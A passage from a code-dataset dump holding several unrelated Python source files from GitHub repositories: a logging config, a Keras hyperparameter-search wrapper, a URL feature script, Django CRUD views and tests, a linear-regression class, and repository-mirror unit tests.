application.run(host='0.0.0.0')\n","repo_name":"EdTerry/StockSpyder","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"7745684540","text":"\"\"\"Some global settings for parboil.\"\"\"\n\nfrom pathlib import Path\n\nfrom .console import out\n\nCFG_DIR = Path(\"~/.config/parboil\").expanduser()\nCFG_FILE = CFG_DIR / \"config.json\"\nTPL_DIR = CFG_DIR / \"templates\"\n\nPRJ_FILE = \"parboil.json\"\nMETA_FILE = \".parboil\"\n\nERROR_LOG_FILENAME = CFG_DIR / \"parboil-errors.log\"\n\nDEFAULT_CONFIG = {\"exclude\": [\"**/.DS_Store\", \"**/Thumbs.db\"]}\n\nLOGGING_CONFIG = {\n \"version\": 1,\n \"disable_existing_loggers\": False,\n \"formatters\": {\n \"default\": {\n \"format\": \"%(asctime)s:%(name)s:%(process)d:%(lineno)d \"\n \"%(levelname)s %(message)s\",\n \"datefmt\": \"%Y-%m-%d %H:%M:%S\",\n },\n \"simple\": {\n \"format\": \"%(message)s\",\n },\n },\n \"handlers\": {\n \"logfile\": {\n \"class\": \"logging.handlers.RotatingFileHandler\",\n \"level\": \"ERROR\",\n \"filename\": ERROR_LOG_FILENAME,\n \"formatter\": \"default\",\n \"backupCount\": 2,\n },\n \"verbose_output\": {\n # \"class\": \"logging.StreamHandler\",\n # \"stream\": \"ext://sys.stdout\",\n \"class\": \"rich.logging.RichHandler\",\n \"level\": \"DEBUG\",\n \"formatter\": \"simple\",\n \"rich_tracebacks\": True,\n \"tracebacks_suppress\": [\"click\"],\n \"console\": out,\n \"show_time\": False,\n },\n },\n \"loggers\": {\n \"parboil\": {\n \"level\": \"WARN\",\n \"handlers\": [\n \"verbose_output\",\n ],\n },\n },\n \"root\": {\"level\": \"INFO\", \"handlers\": [\"logfile\"]},\n}\n","repo_name":"jneug/parboil","sub_path":"src/parboil/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70336228359","text":"import math\nimport os\nimport pickle\nimport random\nimport tempfile\nimport warnings\n\nimport hyperopt\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\nfrom airontools.constructors.utils import Model, get_latent_model\nfrom airontools.interactors import clear_session, load_model, save_model, summary\nfrom airontools.tensorboard_utils import save_representations\nfrom airontools.tools import path_management\nfrom hyperopt import STATUS_FAIL, STATUS_OK, Trials\n\nfrom aironsuit._utils import to_sum\nfrom aironsuit.callbacks import get_basic_callbacks, init_callbacks\nfrom aironsuit.design.utils import setup_design_logs, update_design_logs\n\n\nclass AIronSuit(object):\n \"\"\"AIronSuit is a model wrapper that takes care of the hyper-parameter optimization problem, training and inference\n among other functionalities.\n\n Attributes:\n model (Model): NN model.\n latent_model (Model): Latent NN model.\n results_path (str): Results path.\n logs_path (int): Logs path.\n __model_constructor (): NN model constructor.\n __devices (list): Devices where to make the computations.\n __total_n_models (int): Total number of models in parallel.\n \"\"\"\n\n def __init__(\n self,\n model_constructor=None,\n model=None,\n results_path=os.path.join(tempfile.gettempdir(), \"airon\") + os.sep,\n logs_path=None,\n custom_objects=None,\n name=\"NN\",\n ):\n \"\"\"Parameters:\n model_constructor (): Function that returns a model.\n model (Model): User customized model.\n results_path (str): Results path.\n logs_path (str): Logs path.\n custom_objects (dict): Custom objects when loading Keras models.\n name (str): Name of the model.\n \"\"\"\n\n self.model = model\n self.latent_model = None\n self.results_path = results_path\n self.logs_path = (\n os.path.join(logs_path, \"log_dir\")\n if logs_path is not None\n else os.path.join(results_path, \"log_dir\")\n )\n self.__model_constructor = model_constructor\n self.__custom_objects = custom_objects\n self.__devices = None\n self.__total_n_models = None\n self.name = name\n for path_ in [self.results_path, self.logs_path]:\n path_management(path_)\n\n def design(\n self,\n x_train,\n x_val,\n hyper_space,\n max_evals,\n epochs,\n batch_size=32,\n y_train=None,\n y_val=None,\n sample_weight=None,\n sample_weight_val=None,\n model_specs=None,\n metric=None,\n trials=None,\n verbose=0,\n seed=None,\n raw_callbacks=None,\n use_basic_callbacks=True,\n patience=3,\n save_val_inference=False,\n optimise_hypers_on_the_fly=False,\n additional_train_kwargs=None,\n additional_evaluation_kwargs=None,\n ):\n \"\"\"Automatic model design.\n\n Parameters:\n x_train (list, np.array): Input data for training.\n x_val (list, np.array): Input data for validation.\n hyper_space (dict): Hyper parameter space for model design.\n max_evals (integer): Maximum number of evaluations.\n epochs (int): Number of epochs for model training.\n batch_size (int): Number of samples per batch.\n y_train (list, np.array): Output data for training.\n y_val (list, np.array): Output data for validation.\n sample_weight (np.array): Weight per sample to be computed with the train metric and losses.\n sample_weight_val (np.array): Weight per sample to be computed with the validation metric and losses.\n model_specs (dict): Model specifications.\n metric (str, int, list, function): Metric to be used for model design. If None validation loss is used.\n trials (Trials): Object with design information.\n verbose (int): Verbosity.\n seed (int): Seed for reproducible results.\n raw_callbacks (list): Dictionary of raw callbacks.\n use_basic_callbacks (bool): Whether to use basic callbacks or not. Callbacks argument has preference.\n patience (int): Patience in epochs for validation los improvement, only active when use_basic_callbacks.\n save_val_inference (bool): Whether or not to save validation inference when the best model is found.\n optimise_hypers_on_the_fly (bool): Whether to perform optimisation of hypers on the fly.\n additional_train_kwargs (dict): Additional key arguments for training.\n additional_evaluation_kwargs (dict): Additional key arguments for evaluation.\n \"\"\"\n\n additional_train_kwargs = (\n additional_train_kwargs if additional_train_kwargs is not None else {}\n )\n additional_evaluation_kwargs = (\n additional_evaluation_kwargs\n if additional_evaluation_kwargs is not None\n else {}\n )\n\n setup_design_logs(\n path=self.logs_path,\n hyper_space=hyper_space,\n metric=metric if isinstance(metric, str) else \"val_loss\",\n )\n\n if trials is None:\n trials = Trials()\n raw_callbacks = (\n raw_callbacks\n if raw_callbacks\n else get_basic_callbacks(\n path=self.logs_path,\n patience=patience,\n name=self.name,\n verbose=verbose,\n epochs=epochs,\n )\n if use_basic_callbacks\n else None\n )\n\n def design_trial(hyper_candidates):\n\n # Save trials\n with open(os.path.join(self.results_path, \"trials.hyperopt\"), \"wb\") as f:\n pickle.dump(trials, f)\n\n # Create model\n specs = hyper_candidates.copy()\n if model_specs:\n specs.update(model_specs)\n self.__create(**specs)\n\n # Print some information\n iteration = len(trials.losses())\n print(\"\\n\")\n print(\"iteration : {}\".format(0 if trials.losses() is None else iteration))\n [print(\"{}: {}\".format(key, value)) for key, value in specs.items()]\n if verbose > 0:\n print(self.model.summary())\n\n # Train model\n self.__train(\n epochs=epochs,\n batch_size=batch_size,\n x_train=x_train,\n y_train=y_train,\n x_val=x_val,\n y_val=y_val,\n sample_weight=sample_weight,\n sample_weight_val=sample_weight_val,\n raw_callbacks=raw_callbacks,\n verbose=verbose,\n optimise_hypers_on_the_fly=optimise_hypers_on_the_fly,\n additional_evaluation_kwargs=additional_evaluation_kwargs,\n **additional_train_kwargs\n )\n\n # Model evaluation\n evaluation = self.__evaluate(\n x=x_val,\n y=y_val,\n batch_size=batch_size,\n sample_weight=sample_weight_val,\n metric=metric,\n verbose=verbose,\n **additional_evaluation_kwargs\n )\n if verbose > 0:\n print(\"\\n\")\n print(\"Model Evaluation: \", evaluation)\n\n # Define status\n status = STATUS_OK if not math.isnan(evaluation) else STATUS_FAIL\n print(\"status: \", status)\n\n # Save model if it is the best so far\n evaluation_file_name = os.path.join(\n self.results_path, \"_\".join([self.name, \"loss\"])\n )\n trials_losses = [loss_ for loss_ in trials.losses() if loss_ is not None]\n best_evaluation = min(trials_losses) if len(trials_losses) > 0 else None\n print(\"best evaluation so far: \" + str(best_evaluation))\n print(\"current evaluation: \" + str(evaluation))\n evaluation_cond = best_evaluation is None or evaluation < best_evaluation\n save_cond = status == STATUS_OK and evaluation_cond\n print(\"save: \" + str(save_cond))\n if save_cond:\n df = pd.DataFrame(data=[evaluation], columns=[\"evaluation\"])\n df.to_pickle(evaluation_file_name)\n self.model.save_weights(os.path.join(self.results_path, self.name))\n with open(\n os.path.join(\n self.results_path,\n \"_\".join([self.name, \"hyper_candidates\"]),\n ),\n \"wb\",\n ) as f:\n pickle.dump(hyper_candidates, f, protocol=pickle.HIGHEST_PROTOCOL)\n if save_val_inference and y_val is not None:\n y_inf = self.model.predict(x_val)\n y_inf = (\n np.concatenate(y_inf, axis=1)\n if isinstance(y_inf, list)\n else y_inf\n )\n np.savetxt(\n os.path.join(\"inference\", \"val_target_inference.csv\"),\n y_inf,\n delimiter=\",\",\n )\n # Update logs\n update_design_logs(\n path=os.path.join(self.logs_path, str(len(trials.losses()))),\n hparams={\n value[\"logs\"]: specs[key] for key, value in hyper_space.items()\n },\n value=evaluation,\n step=len(trials.losses()),\n metric=metric if isinstance(metric, str) else \"val_loss\",\n )\n\n clear_session()\n del self.model\n\n return {\"loss\": evaluation, \"status\": status}\n\n def design():\n\n if len(trials.trials) < max_evals:\n self.fmin = hyperopt.fmin(\n design_trial,\n rstate=None if seed is None else np.random.default_rng(seed),\n space={key: value[\"options\"] for key, value in hyper_space.items()},\n algo=hyperopt.tpe.suggest,\n max_evals=max_evals,\n trials=trials,\n verbose=True,\n return_argmin=False,\n )\n # Save trials\n with open(\n os.path.join(self.results_path, \"trials.hyperopt\"), \"wb\"\n ) as f:\n pickle.dump(trials, f)\n hyper_candidates = self.load_hyper_candidates()\n\n # Best model\n specs = {}\n if model_specs:\n specs.update(model_specs.copy())\n specs.update(hyper_candidates)\n self.model = self.__model_constructor(**specs)\n self.model.load_weights(os.path.join(self.results_path, self.name))\n print(\"hyper-parameters: \" + str(hyper_candidates))\n\n design()\n\n def train(\n self,\n epochs,\n x_train,\n y_train,\n x_val=None,\n y_val=None,\n batch_size=32,\n callbacks=None,\n verbose=0,\n use_basic_callbacks=True,\n patience=3,\n optimise_hypers_on_the_fly=False,\n ):\n \"\"\"Weight optimization.\n\n Parameters:\n epochs (int): Number of epochs for model training.\n x_train (list, np.array): Input data for training.\n y_train (list, np.array): Output data for training.\n x_val (list, np.array): Input data for validation.\n y_val (list, np.array): Output data for validation.\n batch_size (int): Batch size.\n callbacks (dict): Dictionary of callbacks.\n verbose (int): Verbosity.\n use_basic_callbacks (bool): Whether to use basic callbacks or not. Callbacks argument has preference.\n patience (int): Patience in epochs for validation los improvement, only active when use_basic_callbacks.\n optimise_hypers_on_the_fly (bool): Whether to perform optimisation of hypers on the fly.\n \"\"\"\n raw_callbacks = (\n callbacks\n if callbacks\n else get_basic_callbacks(\n path=self.logs_path,\n patience=patience,\n name=self.name,\n verbose=verbose,\n epochs=epochs,\n )\n if use_basic_callbacks\n else None\n )\n self.__train(\n epochs=epochs,\n batch_size=batch_size,\n x_train=x_train,\n y_train=y_train,\n x_val=x_val,\n y_val=y_val,\n raw_callbacks=raw_callbacks,\n verbose=verbose,\n optimise_hypers_on_the_fly=optimise_hypers_on_the_fly,\n )\n\n def inference(self, x):\n \"\"\"Inference.\n\n Parameters:\n x (list, np.array): Input data for training.\n \"\"\"\n return self.model.predict(x)\n\n def latent_inference(self, x, layer_names=None):\n \"\"\"Latent inference.\n\n Parameters:\n x (list, np.array): Input data for training.\n layer_names (str): Layer names.\n \"\"\"\n assert all([var is not None for var in [layer_names, self.latent_model]])\n if layer_names:\n self.latent_model = get_latent_model(self.model, layer_names)\n return self.latent_model.predict(x)\n\n def create_latent_model(self, hidden_layer_names):\n \"\"\"Create latent model given a model and hidden layer names.\n\n Parameters:\n hidden_layer_names (str): Layer names.\n \"\"\"\n assert self.model is not None\n self.latent_model = get_latent_model(self.model, hidden_layer_names)\n\n def evaluate(\n self,\n x,\n y=None,\n batch_size=32,\n sample_weight=None,\n metric=None,\n verbose=0,\n return_sum=False,\n **kwargs\n ):\n \"\"\"Evaluate.\n\n Parameters:\n x (list, np.array): Input data for evaluation.\n y (list, np.array): Output data for evaluation.\n batch_size (int): Number of samples per batch.\n sample_weight (np.array): Weight per sample to be computed for the evaluation.\n metric (str, int, list, function): Metric to be used for model design. If None validation loss is used.\n verbose (int): Verbosity.\n return_sum (bool): Whether to return just the sum of the metrics.\n \"\"\"\n return self.__evaluate(\n x,\n y,\n batch_size=batch_size,\n sample_weight=sample_weight,\n metric=metric,\n verbose=verbose,\n return_number=return_sum,\n **kwargs\n )\n\n def save_model(self, name):\n \"\"\"Save the model.\n Parameters:\n name (str): Model name.\n \"\"\"\n save_model(model=self.model, name=name)\n\n def load_model(self, name, **kwargs):\n \"\"\"Load the model.\n Parameters:\n name (str): Model name.\n kwargs (dict): Custom or other arguments.\n \"\"\"\n self.model = load_model(name, custom_objects=self.__custom_objects)\n\n def clear_session(self):\n \"\"\"Clear session.\"\"\"\n clear_session()\n\n def summary(self):\n \"\"\"Show model summary.\"\"\"\n if self.model:\n summary(self.model)\n\n def visualize_representations(\n self,\n x,\n metadata=None,\n logs_path=None,\n hidden_layer_name=None,\n latent_model_output=False,\n ):\n \"\"\"Visualize representations.\n\n To visualize the representations on TensorBoard follow the steps:\n 1) Use the command line: ' + 'tensorboard --logdir=\n alt-1) I previous step does not work, use the command line:\n python /main.py --logdir=\n 2) Use an internet browser: http://localhost:6006/#projector'\n\n Parameters:\n x (list, array): Data to be mapped to latent representations.\n metadata (list(array), array): Metadata (a list of arrays or an array).\n logs_path (str): Logs path.\n hidden_layer_name (str): Name of the hidden layer to get insights from.\n latent_model_output (bool): Whether to directly use the output of the latent model.\n \"\"\"\n if latent_model_output and self.latent_model is None:\n warnings.warn(\"latent model should be created first\")\n if hidden_layer_name is not None:\n model = get_latent_model(self.model, hidden_layer_name)\n else:\n if latent_model_output:\n model = self.latent_model\n else:\n model = self.model\n representations_name = model.output_names[0]\n save_representations(\n representations=model.predict(x),\n path=self.logs_path,\n representations_name=representations_name,\n metadata=metadata,\n )\n\n def load_hyper_candidates(self):\n \"\"\"Load hyper candidates.\"\"\"\n with open(\n os.path.join(self.results_path, \"_\".join([self.name, \"hyper_candidates\"])),\n \"rb\",\n ) as f:\n hyper_candidates = pickle.load(f)\n return hyper_candidates\n\n def __train(\n self,\n x_train,\n y_train,\n x_val=None,\n y_val=None,\n batch_size=32,\n sample_weight=None,\n sample_weight_val=None,\n raw_callbacks=None,\n patience=10,\n optimise_hypers_on_the_fly=False,\n verbose=0,\n additional_evaluation_kwargs=None,\n metric=None,\n **kwargs\n ):\n additional_evaluation_kwargs = (\n additional_evaluation_kwargs if additional_evaluation_kwargs is None else {}\n )\n train_kwargs = kwargs.copy()\n if isinstance(self.model, Model):\n train_kwargs[\"verbose\"] = verbose\n if raw_callbacks is not None:\n if all([isinstance(callback, dict) for callback in raw_callbacks]):\n callbacks = init_callbacks(raw_callbacks)\n else:\n callbacks = raw_callbacks\n train_kwargs.update({\"callbacks\": callbacks})\n fit_args = [x_train]\n if y_train is not None:\n fit_args += [y_train]\n val_data = []\n for val_data_ in [x_val, y_val, sample_weight_val]:\n if val_data_ is not None:\n val_data += [val_data_]\n if len(val_data) != 0:\n train_kwargs.update({\"validation_data\": tuple(val_data)})\n if all([isinstance(data, tf.data.Dataset) for data in fit_args]):\n train_kwargs[\"validation_data\"] = tf.data.Dataset.zip(\n train_kwargs[\"validation_data\"]\n ).batch(batch_size)\n if sample_weight is not None:\n warnings.warn(\n \"sample weight for training combined with tf datasets is not supported at the moment\"\n )\n fit_args = [tf.data.Dataset.zip(tuple(fit_args)).batch(batch_size)]\n else:\n if sample_weight is not None:\n train_kwargs[\"sample_weight\"] = sample_weight\n train_kwargs[\"batch_size\"] = batch_size\n self.model.fit(*fit_args, **train_kwargs)\n if optimise_hypers_on_the_fly:\n if \"epochs\" in train_kwargs.keys():\n train_kwargs[\"epochs\"] = 1\n hyper_designs = {\n method: getattr(self.model, method).actions_space\n for method in dir(self.model)\n if \"hyper_design\" in method\n }\n if len(hyper_designs) == 0:\n warnings.warn(\"could not find hyper designs to perform on the fly\")\n else:\n print(\"Starting optimisation of hypers on the fly...\")\n prev_evaluation = self.__evaluate(\n x=x_val,\n y=y_val,\n batch_size=batch_size,\n sample_weight=sample_weight_val,\n metric=metric,\n verbose=verbose,\n **additional_evaluation_kwargs\n )\n improvement = False\n for i in range(patience):\n if not improvement:\n for hyper_design_name, action_space in hyper_designs.items():\n getattr(self.model, hyper_design_name).set_action(\n random.choice(list(action_space.keys()))\n )\n self.model.fit(*fit_args, **train_kwargs)\n evaluation = self.__evaluate(\n x=x_val,\n y=y_val,\n batch_size=batch_size,\n sample_weight=sample_weight_val,\n metric=metric,\n verbose=verbose,\n **additional_evaluation_kwargs\n )\n improvement = evaluation < prev_evaluation\n prev_evaluation = evaluation\n\n def __evaluate(\n self,\n x,\n y,\n batch_size=32,\n sample_weight=None,\n metric=None,\n verbose=0,\n return_number=True,\n **kwargs\n ):\n evaluate_args = [x]\n if y is not None:\n evaluate_args += [y]\n evaluate_kwargs = kwargs.copy()\n if isinstance(self.model, Model):\n evaluate_kwargs[\"verbose\"] = verbose\n if sample_weight is not None:\n evaluate_kwargs[\"sample_weight\"] = sample_weight\n keras_model = isinstance(self.model, Model)\n data_as_tfrecords = all(\n [isinstance(data, tf.data.Dataset) for data in evaluate_args]\n )\n if (\n any([isinstance(metric, var_type) for var_type in [int, str, list]])\n or metric is None\n ):\n if data_as_tfrecords and keras_model:\n if sample_weight is not None:\n evaluate_args += [evaluate_kwargs[\"sample_weight\"]]\n del evaluate_kwargs[\"sample_weight\"]\n evaluate_args = tf.data.Dataset.from_tensor_slices(\n tuple(\n [\n list(eval_data_.as_numpy_iterator())\n for eval_data_ in evaluate_args\n ]\n )\n )\n else:\n evaluate_args = tf.data.Dataset.zip(tuple(evaluate_args))\n evaluate_args = evaluate_args.batch(batch_size)\n if isinstance(metric, str):\n evaluate_kwargs.update({\"return_dict\": True})\n if data_as_tfrecords:\n evaluation = self.model.evaluate(evaluate_args, **evaluate_kwargs)\n else:\n evaluation = self.model.evaluate(*evaluate_args, **evaluate_kwargs)\n if isinstance(metric, list):\n evaluation = [evaluation[key] for key in metric]\n elif metric is not None:\n evaluation = evaluation[metric]\n else:\n evaluate_kwargs[\"model\"] = self.model\n evaluation = metric(\n evaluate_args,\n **{\n key: value\n for key, value in evaluate_kwargs.items()\n if key in metric.__annotations__.keys()\n }\n )\n if return_number:\n evaluation = to_sum(evaluation)\n return evaluation\n\n def __create(self, **kwargs):\n self.model = self.__model_constructor(**kwargs)\n","repo_name":"AtrejuArtax/aironsuit","sub_path":"aironsuit/suit.py","file_name":"suit.py","file_ext":"py","file_size_in_byte":23966,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"3885889458","text":"import sys\nimport os\nimport re\nimport time\nfrom urllib.parse import urlparse\nimport urllib\nimport random\nfrom collections import OrderedDict\nfrom operator import itemgetter\n# import extract_features\n\n\ndef extract_names(f):\n m = re.search(r'urls\\.(\\w+)\\.(\\w+)', f)\n if m is not None:\n return m.group(1), m.group(2), f\n\nINPUT_PATH = './data/'\nCHECK_PATH = './check/'\n\n\nif not os.path.exists(INPUT_PATH):\n print >> sys.stderr, \"Missing input path \" + INPUT_PATH\n sys.exit(1)\n\n\nif not os.path.exists(CHECK_PATH):\n print >> sys.stderr, \"Missing check path \" + CHECK_PATH\n sys.exit(1)\n\n\nfiles = os.listdir(INPUT_PATH)\nfiles = sorted(files)\nnames = map(extract_names, files)\n\n# print (list(names))\nf1 = './data/urls.wikipedia.examined'\nf2 = './data/urls.wikipedia.general'\n\ndef get_random_url(file_path, N):\n urls = []\n with open(file_path) as file:\n for line in file:\n urls.append(line)\n random.shuffle(urls)\n return urls[:N]\n\ndef plus_one_feature(features, str):\n try:\n features[str] += 1\n except:\n features[str] = 1\n\ndef extract_features(INPUT_FILE_1, INPUT_FILE_2):\n features = dict()\n\n file1 = open(INPUT_FILE_1)\n file2 = open(INPUT_FILE_2)\n i = 0\n\n for line in file2:\n # i += 1\n # if i == 12:\n # break\n line = line.strip('\\n')\n line = urlparse(line)\n count = 0\n for segment in urllib.parse.unquote(line.path).split('/'): # urllib.parse.unquote\n if segment == '':\n continue\n if segment.isdigit():\n plus_one_feature(features, 'segment_[0-9]_{0}:1'.format(count))\n plus_one_feature(features, 'segment_len_{0}:{1}'.format(count, len(segment)))\n\n # if re.match(r'.+[.]\\w+', segment):\n # # print(re.findall(r'\\w+[.](\\w+)', segment))\n # plus_one_feature(features, 'segment_ext_{0}:{1}'.format(count, re.findall(r'\\w+[.](\\w+)', segment)[0]))\n # print (segment, end=',')\n count += 1\n # try:\n # features['segments:{0}'.format(count)] += 1\n # except:\n # features['segments:{0}'.format(count)] = 1\n plus_one_feature(features, 'segments:{0}'.format(count))\n # print('')\n\n\n features = dict(sorted(features.items(), key=lambda x:-x[1]))\n for i in features:\n print (i, '\\t', features[i], end='\\n')\n\n\nextract_features(f1, f2)\n\n# string = \"photo.jpg\"\n#\n# if re.match(r'\\w+[.]\\w+', string):\n# print(re.findall(r'\\w+[.](\\w+)', string)[0])\n\n# print(get_random_url(f1, 20))\n","repo_name":"juicyfruityo/InformationRetrivial","sub_path":"sekitei(hw1)/HA_1/try.py","file_name":"try.py","file_ext":"py","file_size_in_byte":2587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"26212701320","text":"from django.shortcuts import render\nfrom django.http import HttpResponse, JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom rest_framework.parsers import JSONParser\nfrom .serializers import GamesSerializers\nfrom .models import games\n\n# Create your views here.\n\ndef list_games(request):\n all_games = games.objects.all()\n serializer = GamesSerializers(all_games, many=True)\n return JsonResponse(serializer.data, safe=False)\n\ndef get_game(request, name):\n game = games.objects.filter(name__contains=name)\n serializer = GamesSerializers(game, many=True)\n return JsonResponse(serializer.data, safe=False)\n\n@csrf_exempt\ndef create_game(request):\n if request.method == 'POST':\n data = JSONParser().parse(request)\n serializer = GamesSerializers(data=data)\n if serializer.is_valid():\n serializer.save()\n all_games = games.objects.all()\n serializer = GamesSerializers(all_games, many=True)\n return JsonResponse(serializer.data, safe=False)\n return JsonResponse(serializer.errors)\n\n@csrf_exempt\ndef delete_game(request, id):\n try:\n selected_game = games.objects.get(id=id)\n except games.DoesNotExist:\n return HttpResponse(status=404)\n \n if request.method == 'DELETE':\n selected_game.delete()\n all_games = games.objects.all()\n serializer = GamesSerializers(all_games, many=True)\n return JsonResponse(serializer.data, safe=False)\n\n@csrf_exempt\ndef update_game(request, id):\n try:\n selected_game = games.objects.get(id=id)\n except games.DoesNotExist:\n return HttpResponse(status=404)\n \n if request.method == 'PUT':\n data = JSONParser().parse(request)\n serializer = GamesSerializers(selected_game, data=data)\n if serializer.is_valid():\n serializer.save()\n all_games = games.objects.all()\n serializer = GamesSerializers(all_games, many=True)\n return JsonResponse(serializer.data, safe=False)\n","repo_name":"krishna564/SVG_ASSG","sub_path":"backend/game/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42869797256","text":"from django.test import TestCase\nfrom django.urls import reverse\nfrom .models import Company, Person\n\n'''\nTests for Company model\n'''\nclass CompanyModelTests(TestCase):\n\n\tdef test_manager_is_valid_person(self):\n\t\tfor employee in Person.objects.all():\n\t\t\t# Test will fail if Manager is not a valid Person object\n\t\t\tself.assertNotEqual(Person.objects.get(pk=employee.manager_id), None)\n\n\tdef test_tbd_2(self):\n\t\tself.assertIs(True, True)\n\n\tdef test_tbd_3(self):\n\t\tself.assertIs(True, True)\n\n\n'''\nTests for Index view\n'''\nclass IndexViewTests(TestCase):\n\n\t# Test for no companies\n\tdef test_no_companies(self):\n\t\turl = reverse('orgchart:index', args=())\n\t\tresponse = self.client.get(url)\n\t\tself.assertContains(response, \"No companies found\")\n\n\n'''\nTests for Detail view\n'''\nclass CompanyDetailViewTests(TestCase):\n\n\t# Test with no employees\n\tdef test_no_employees(self):\n\t\tcompany1 = Company(1, \"Company name 1\")\n\t\tcompany1.save()\n\t\turl = reverse('orgchart:company_detail', args=(company1.company_id,))\n\t\tresponse = self.client.get(url)\n\t\tself.assertContains(response, \"No employees\")\n\n\t# Test with employees\n\tdef test_with_employees(self):\n\t\tcompany1 = Company(1, \"Company name 1\")\n\t\tcompany1.save()\n\t\temp1 = Person(\n\t\t\t1, \n\t\t\tcompany1.company_id, \n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\t\"fname1\",\n\t\t\t\"lname1\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\t\"fname1@email.com\",\n\t\t\t\"01234567890\",\n\t\t\t\"1\")\n\t\temp1.save()\n\t\turl = reverse('orgchart:company_detail', args=(company1.company_id,))\n\t\tresponse = self.client.get(url)\n\t\tself.assertContains(response, \"fname1\")\n\n'''\nTests for Detail view\n'''\nclass CompanyDetailViewShowTests(TestCase):\n\tdef test_org_chart_is_empty(self):\n\t\tself.assertIs(True, True)\n\n\n'''\nTests for Detail view\n'''\nclass CompanyDeleteTests(TestCase):\n\tdef test_delete_company(self):\n\t\tself.assertIs(True, True)\n\n\n","repo_name":"acharyna/zenefitness","sub_path":"orgchart/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1780,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"4293618140","text":"import numpy as np\n\n\nclass Model:\n def __init__(self, dimension, alpha):\n self.dimension = dimension\n self.alpha = alpha\n self.theta = np.zeros(shape=self.dimension)\n\n def predict(self, x):\n return self.theta.dot(x)\n\n def train(self, x, y, show_info=False):\n eps = 1e-6\n prev_cost = self.cost(x, y)\n cost = 1 / eps\n\n while abs(cost - prev_cost) > eps:\n self.gd(x, y)\n prev_cost = cost\n cost = self.cost(x, y)\n\n if show_info:\n print('cost: ' + str(cost))\n\n def cost(self, x, y):\n m = len(x)\n return sum((self.predict(x[i]) - y[i]) ** 2 for i in range(m)) / (2 * m)\n\n def gd(self, x, y):\n m = len(x)\n theta = self.theta\n for j in range(self.dimension):\n theta[j] = self.theta[j] - self.alpha / m * \\\n sum((self.predict(x[i]) - y[i]) * x[i][j] for i in range(m))\n\n self.theta = theta\n","repo_name":"SNKotV/linear-regression","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"25729068907","text":"import unittest\nimport os\nfrom os.path import join, dirname, abspath, exists, isdir\nfrom shutil import copy, rmtree\nfrom os import remove, listdir\nfrom hashlib import md5\nimport json\nimport filecmp\nimport sys\nsys.path.insert(0, '..')\nfrom repository import RepositoryManager\nfrom repository.minisetting import Setting\nimport time\n\ndef onerror(func, path, exc_info):\n \"\"\"\n Error handler for ``shutil.rmtree``.\n\n If the error is due to an access error (read only file)\n it attempts to add write permission and then retries.\n\n If the error is for another reason it re-raises the error.\n\n Usage : ``shutil.rmtree(path, onerror=onerror)``\n \"\"\"\n import stat\n if not os.access(path, os.W_OK):\n # Is the error an access error ?\n os.chmod(path, stat.S_IWUSR)\n func(path)\n else:\n raise\n\nclass MirrorTest(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n cls.setting = Setting()\n # cls.setting['LOG_ENABLED'] = False\n cls.setting['DATA_DIR'] = join(dirname(dirname(abspath(__file__))), \"data\")\n cls.repo_manager = RepositoryManager(cls.setting)\n cls.test_data_dir = join(dirname(abspath(__file__)), \"test_data\")\n cls.dst_dir = cls.setting['DATABASE_DIR']\n cls.data_dir = cls.setting['DATA_DIR']\n\n \n def test_1_cgit_mirror(self):\n # test 1 cgit mirror\n copy(join(self.test_data_dir, \"yocto.sql\"), join(self.dst_dir, \"yocto.sql\"))\n self.repo_manager.add_service(\"yocto\")\n services, services_possible = self.repo_manager.get_services_list()\n self.assertIn(\"yocto\", services)\n repos = self.repo_manager.parse_service(\"yocto\")\n # run twice, 1st for init, 2nd for update\n for num in range(0,2):\n self.repo_manager.mirror_service(\"yocto\")\n self.assertTrue(exists(join(self.data_dir, 'yocto')))\n self.assertTrue(exists(join(\n self.data_dir,\n 'yocto',\n md5(\"http://git.yoctoproject.org/cgit.cgi/crops/\".encode()).hexdigest()\n )))\n self.assertTrue(exists(join(\n self.data_dir,\n 'yocto',\n md5(\"http://git.yoctoproject.org/cgit.cgi/crops/\".encode()).hexdigest(),\n 'crops.git'\n )))\n self.assertTrue(filecmp.cmp(join(self.test_data_dir, 'yocto.repo'), \n join(self.data_dir, 'yocto', 'yocto.repo')))\n\n def test_2_github_mirror(self):\n # test 2 github mirror\n copy(join(self.test_data_dir, \"github.sql\"), join(self.dst_dir, \"github.sql\"))\n self.repo_manager.add_service(\"github\")\n services, services_possible = self.repo_manager.get_services_list()\n self.assertIn(\"github\", services)\n repos = self.repo_manager.parse_service(\"github\")\n # run twice, 1st for init, 2nd for update\n for num in range(0,2):\n self.repo_manager.mirror_service(\"github\")\n self.assertTrue(exists(join(self.data_dir, 'github')))\n self.assertTrue(exists(join(\n self.data_dir,\n 'github',\n md5(\"d12y12/temp\".encode()).hexdigest()\n )))\n self.assertTrue(exists(join(\n self.data_dir,\n 'github',\n md5(\"d12y12/temp\".encode()).hexdigest(),\n 'temp.git'\n )))\n self.assertTrue(filecmp.cmp(join(self.test_data_dir, 'github.repo'), \n join(self.data_dir, 'github', 'github.repo')))\n\n def test_3_gitee_mirror(self):\n # test 3 github mirror\n copy(join(self.test_data_dir, \"gitee.sql\"), join(self.dst_dir, \"gitee.sql\"))\n self.repo_manager.add_service(\"gitee\")\n services, services_possible = self.repo_manager.get_services_list()\n self.assertIn(\"gitee\", services)\n repos = 